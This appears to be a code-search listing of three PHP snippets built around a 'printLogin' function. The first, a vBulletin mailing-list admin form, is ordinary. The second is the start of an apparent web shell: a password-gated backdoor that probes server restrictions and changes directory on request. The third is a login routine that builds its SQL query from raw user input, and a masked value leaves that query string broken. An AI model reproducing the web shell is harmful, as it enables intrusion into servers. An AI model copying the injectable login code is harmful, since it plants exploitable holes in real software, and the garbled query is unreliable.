Example #1
0
function printUpload($sessionid)
{
    global $vbphrase;
    print_cp_header($vbphrase['verticalresponse']);
    require_once DIR . '/includes/adminfunctions_user.php';
    require_once DIR . '/includes/adminfunctions_profilefield.php';
    print_form_header('verticalresponse', 'confirm_upload', false, true, 'verticalresponse');
    print_table_header($vbphrase['upload_list'], 2);
    //get the current lists
    if ($sessionid) {
        $client = new vB_VerticalResponse();
        if (!$client->checkStatus($sessionid)) {
            printLogin($vbphrase['vr_login_first_desc']);
            return;
        }
        $lists = $client->enumerateLists($sessionid);
    }
    if ($lists) {
        $current_lists = '';
        foreach ($lists as $list) {
            if ($list->status == 'active') {
                $current_lists .= "<option value=\"" . $list->id . "\">" . htmlspecialchars_uni($list->name) . '- ' . '- ' . $list->size . "</option>" . "\n";
            }
        }
        if (!empty($current_lists)) {
            $current_lists = "<option value=\"\">   </option>" . "\n" . $current_lists;
            print_cells_row(array($vbphrase['select_vr_list_desc'], "<select id=\"listid\" name=\"listid\"/>{$current_lists}</select>"));
        }
    }
    print_cells_row(array($vbphrase['verticalresponse_list_desc'], "<input id=\"listname\" type=\"text\" name=\"listname\"/ value=\"\">"));
    print_cells_row(array($vbphrase['vr_dopercycle_desc'], "<input id=\"do_percycle\" type=\"text\" name=\"do_percycle\"/ value=\"1000\">"));
    print_table_break();
    print_user_search_rows(true);
    print_submit_row($vbphrase['submit']);
    print_table_footer();
}
Example #2
0
function printLogin() {
	?>
	<center>
	<form method=post>
	Password: <input type=password name=pass><input type=submit value='>>'>
	</form></center>
	<?php
	exit;
}

if( !isset( $_SESSION['sh_logined'] ))
	if( empty( $auth['md5pass'] ) || 
		( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth['md5pass'] ) ) )
		$_SESSION['sh_logined'] = true;
	else
		printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
	$os = 'win';
else
	$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
	@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
	$home_cwd = str_replace("\\", "/", $home_cwd);
	$cwd = str_replace("\\", "/", $cwd);
}
Example #3
0
function login($form, $url)
{
    global $path;
    $objResponse = new xajaxResponse();
    if ($form["user_name"] && $form["user_password"]) {
        $user = mysql_query("SELECT pk_user_id, user_name, user_rating FROM md_user WHERE user_name = '{$form['user_name']}' AND user_password = '******'user_password']}'");
        if (mysql_num_rows($user)) {
            $info = mysql_fetch_array($user);
            $_SESSION["md_userid"] = $info[pk_user_id];
            $_SESSION["md_username"] = $info[user_name];
            $_SESSION["md_rating"] = $info[user_rating];
            $output = printLogin($form["page"]);
            $menu = printMenu($form["page"]);
            $objResponse->assign("login", "innerHTML", $output);
            $objResponse->assign("menu_holder", "innerHTML", $menu);
            $objResponse->redirect($url);
        } else {
            $error = errormess("Wrong details", "white");
            $output = printLogin($page, $error, $form);
            $objResponse->assign("blackscreen", "style.display", "none");
            $objResponse->assign("login", "innerHTML", $output);
        }
    } else {
        $error = errormess("Fill in all fields", "white");
        $output = printLogin($page, $error, $form);
        $objResponse->assign("login", "innerHTML", $output);
    }
    return $objResponse;
}